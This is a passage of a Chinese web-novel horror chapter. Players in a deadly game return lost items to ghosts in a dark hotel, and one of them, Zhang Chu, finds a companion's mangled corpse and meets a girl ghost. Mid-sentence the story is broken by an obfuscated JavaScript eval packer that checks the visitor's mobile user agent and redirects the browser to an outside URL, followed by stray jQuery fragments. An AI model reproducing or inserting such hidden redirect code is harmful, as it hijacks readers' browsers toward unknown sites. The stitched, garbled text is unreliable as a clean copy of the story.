口说无凭,麻雀点开了自己的任务面板,选择了共享。
于是在场所有人都能看到悬浮在半空中麻雀的任务面板。
最上面的一条信息:【任务:将2&3号失物送还并获得感谢信(已完成)】
确认所有人都看见了之后,麻雀以最简短的方式复盘了她的任务过程。
进了酒店之后,她直接拐进了一楼的客房区。
“我的任务地点是A109,为了节省时间,我打算先完成我自己的,再完成2号的。”麻雀说,似乎是想到了什么不愉快的经历,她微微拧起了眉心,“结果我到了109之后,里面的鬼跟我说要按顺序,在送完2号失物之前,它不接任何失物。”
没办法,麻雀只好转头顺着楼梯爬上二楼,整个过程平安无事。
很快,麻雀就站在了205门前。她四下张望,没看到王强的尸体,也没看到打斗的痕迹,准确来说,是没看到任何人来过的痕迹。
那扇门没有关紧,敞开了一条脸宽的缝,里面黑洞洞的看不清内容。
麻雀没有贸然打开那道门,而是抬手敲了两下。
指关节叩击木制门板发出闷闷的声响,在寂静的走廊上震耳欲聋。
“您好,失物招领。”
在麻雀说完这句话之后,突然从门内传出几声孩子的笑。
麻雀捏着苹果的那只手一紧,脸色沉了下来。
通过刚才那一下,她对王强的死因有了初步的猜测。
“王强是自己把自己搞死的。”酒店外,麻雀毫不客气地说。
“他触犯了禁忌。”梁阿汀接上了她的话。
麻雀赞许地看了她一眼:“对,鬼根本就没碰他,是他自己叫出了声。”
“看来这里的鬼杀人有限制。”梁阿汀微微松了一口气。
有限制,就代表有规避的方式。
鬼不是无差别杀人,只要不触犯禁忌,就没有生命危险。
“那,你是怎么把鬼杀掉的?”刘晶晶自从大家开始一起讨论就一直没敢插话,好不容易等大家都静下来了,她才小心翼翼地问麻雀。
麻雀看了她一眼,也没藏着掖着:“鬼有实体,我能碰到它们,能碰到的东西,怎么会杀不死?”
“王强负责的那位2号失主,是个小姑娘,她问我谁吃了她的苹果。”
“对啊,王强那苹果是半个,所以是被谁吃了?”张海生也凑过来插话。
麻雀瞥了他一眼,看傻子一般:“我怎么知道谁吃的?我就问她你自己的苹果谁吃的你自己心里没数吗?”
张海生默了。
其他人也默了。
空气安静了几秒。
刘晶晶磕磕巴巴地问:“然、然后呢?”
麻雀说:“然后它的脸就开始变得血肉模糊,糊成一团。”
“我想把苹果给它,结果还没碰到它,它就突然凑了上来。”
在说“凑了上来”几个字的时候,麻雀的眼神同时“唰”一下定格在刘晶晶脸上,后者吓得一颤。
麻雀收回了眼神:“反正鬼不能随便杀人,它们只会让你自己触犯禁忌。”
“别废话了!”张楚突然大声打断,目光直指麻雀,眼睛里迫切和慌张并存,语气也不受控制地变得强硬,且令人不适,“你就直说怎么才能杀鬼!”
麻雀的脸色沉了下来,张楚下命令一般的语气激怒了她,她冷冷道:“怎么?告诉你你就能杀掉了?”
说着她随手转动她不知什么时候拿在手里的蝴蝶刀,漫不经心地甩了个刀花。
联想到之前她用这把刀随意一抛就拦住了张海生,张楚没敢再继续叫嚣。
梁阿汀抬眼去看悬在半空中的倒计时,时间一分一秒流逝,留给剩下六个人的时间只剩下七十多分钟了。
她无意识地咬着自己的下嘴唇,强压下了心里的不安。
“行了别废话了,”张海生可不管那么多,他皱着眉头盯着张楚看,不耐烦道,“你别在这浪费大家的时间,赶紧进去吧。”
张楚看看他,又看看周围的人。他们虽然没出声,但无一不是眼里透着谴责。
他咬咬牙,转过身扭头冲进了酒店。
手里的印章被他紧紧地攥着,四角陷进手心肉里,一阵一阵泛着尖锐的疼痛。
张楚却像没有感觉一样,把那印章攥得越来越紧。
他的夜视能力很差,一进入酒店,几乎是瞬间就陷入了伸手不见五指的黑暗。
短短一分钟,张楚的额头就冒出了细细密密的汗。
令人窒息的黑暗里,张楚只能听见自己的脚步声,即使刻意放轻了,在静得发慌的酒店里也格外震耳欲聋。
不知过了多久,张楚终于能依稀看清周围环境了。
他此刻正走在一条幽深的长廊里。
根据麻雀的说法,酒店内部一共分两部分,进入正门后距离最近的楼梯口,通往A区,而与之相对的另一半,就是B区。
张楚的印章,所标房间号是B302,他回忆着麻雀的描述,在进酒店之后便朝着右前方缓步前进。
不知道是不是幸运女神眷顾,张楚几乎没怎么碰壁,一下就摸到了通往B区的楼梯扶手。
他欣喜若狂,加快了上楼的速度。
从二楼的楼梯口经过时,张楚莫名感觉后背传来一阵冷风。
这种冷很刺骨,透过他的衣服直击后背,似能钻进骨缝。
他打了个寒战,没敢在二楼停留,径自上了三楼。
幸运女神这次没有眷顾他。
张楚拐进长廊,长廊的尽头是一件不足半人长的小窗,丝丝月光硬挤进来,为漆黑的长廊笼罩了一层朦胧的滤镜。
于是房间的号码也依稀可见。
张楚看了眼离他最近的这一间,在心里无声地骂了一声。
这一间是B320。
按照序号顺序,B302在走廊最深处。
他要一个人走过长达数十米的走廊。
时间一分一秒地过去,张楚看了眼手机屏保,已经过去几分钟了。
他咬咬牙,一鼓作气走进了走廊。
几乎是迈步踏入走廊的一瞬间,他就感觉到了刺骨的寒意。
这种感觉就像从空调房里一步跨进冰天雪地的室外,冷得人发抖。
张楚不敢多犹豫,他把手机塞回口袋,略略加快了脚步。
B320、B318、B316……
他没敢一个一个看,而是低着头,每走过一扇门就在心里默默计数,直到数到B306。
在路过B306的时候,他听到右边B305的门传出轻轻的咔哒声。
像是门锁没有关紧,自己松开的声音。
在寂静的黑暗中,这种细小的声音格外引人注意。
张楚被吓了一跳,牙齿没有收住狠咬了舌头一口,当即就尝到了血腥味。
他拧起了脸,强忍着没有叫出声。
B305的门自发出那一声之后便再无动静,仿佛真的只是意外开了锁。
张楚定了定神,抬脚就往前走。
好奇心害死猫,他可不会主动凑上去看到底发生了什么。
谁知他刚往前走了一步,B30
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619782|205890||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
5的那道门就缓缓开启,发出令人牙酸的吱呀声。
张楚咽了口口水,身体僵硬着。余光里,他看到那扇门已经完全敞开,里面是未知的黑暗,阴森恐怖。
他不敢扭头去看,也不敢继续往前走,他站在原地,像被人定了身。
“啪嗒。”什么东西从门内倒了出来,摔在了张楚脚边,除此之外再无事发生。
余光能看到的范围有限,张楚看不到摔出来的是什么东西,他也不想去看。
但是他的脑袋却不受控制地向那个方向扭去,他极力反抗着那股力量,却如蚍蜉撼树,那股力量大得可怕,强硬地拧着他的头,逼迫他去看。
张楚只好顺从着那股力量,转过了头,在看到地上的东西后,他猛地瞪大了眼睛,嘴巴张了又张,无声地尖叫。
--
酒店外,在门口反复踱步的人变成了张海生。
他一边走还一边抓他的平头,走一步抓一下,幸亏是平头,但凡再长一点,头发就得让他自己薅掉好几根。
张海生看看黑漆漆的酒店大厅,又看看坐在一边把自己团成一团的刘秀昌,不理解:“哥们儿,下一个就到你了,你怎么一点都不紧张?”
刘秀昌瑟缩了一下,没理他。
张海生也不在意,他只管问,也不在乎别人回不回答。
这边的小插曲梁阿汀没有注意,她的注意力全都集中在麻雀身上。
麻雀自从出来之后就席地而坐,用海象递给她的手纸擦拭着自己蝴蝶刀上的血迹,自己身上的却丝毫没管,甚至脸上蹭的也还挂在上面,整个人散发着很重的煞气。
梁阿汀垂下了眼皮,盯着自己的前方的地面。
鬼是可以被杀掉的,这对于他们剩下的人来说是一条很重要的信息,但是……
梁阿汀看着麻雀浑身的血迹和满脸的疲惫,心情沉重。
只怕这鬼不是那么好杀的。
--
张楚死死地捂住了自己的嘴,看着地上的“东西”,眼睛瞪得仿佛要冲出眼眶。
那是一具已经不成人形的尸体,面朝下被丢在地上,身体上到处都是被什么东西啃咬撕扯过的痕迹,乌黑的血溅了一地,到处都是。
张楚视线下移,目光锁定了尸体身上残破不堪但仍能依稀分辨出颜色的高饱和度卫衣。
是王强。
麻雀没有看到的王强的尸体,就这么突兀地倒在了他面前。
张楚的大脑里只剩下了一种想法:离开这里,越快越好。
他强迫自己不去看王强的惨状,脚下一动。距离B302只剩几米,只要他平安走到那边,他的任务就算完成了大半——
“你在看什么?”
张楚:“!”
空灵的女声在耳边响起,张楚吓了一跳,不轻不重地惊呼一声,又反应极快地捂住了嘴,但是因为这一下,他手上攥着的印章脱了手。
慌慌张张地把印章捡起来重新捏在手里,张楚定睛看去,站在他面前的是一个漂亮的少女。
他上上下下地打量着这个突然出现的少女,对方除了神出鬼没之外,整个人看起来和活人无异。
但在这种地方神出鬼没,想也不会是真的活人。
少女看张楚一直用怪异的眼神盯着自己,眼睛里闪过了一丝不快,她不耐烦道:“我问你话呢,你在看什么呢?”
惹鬼生气的后果张楚不敢细想,他咽了咽口水,强行冷静道:“我在看尸体。”
“尸体?”少女眨了眨眼,发出令人毛骨悚然的笑声。
“可这里明明就只有我们两个呀。”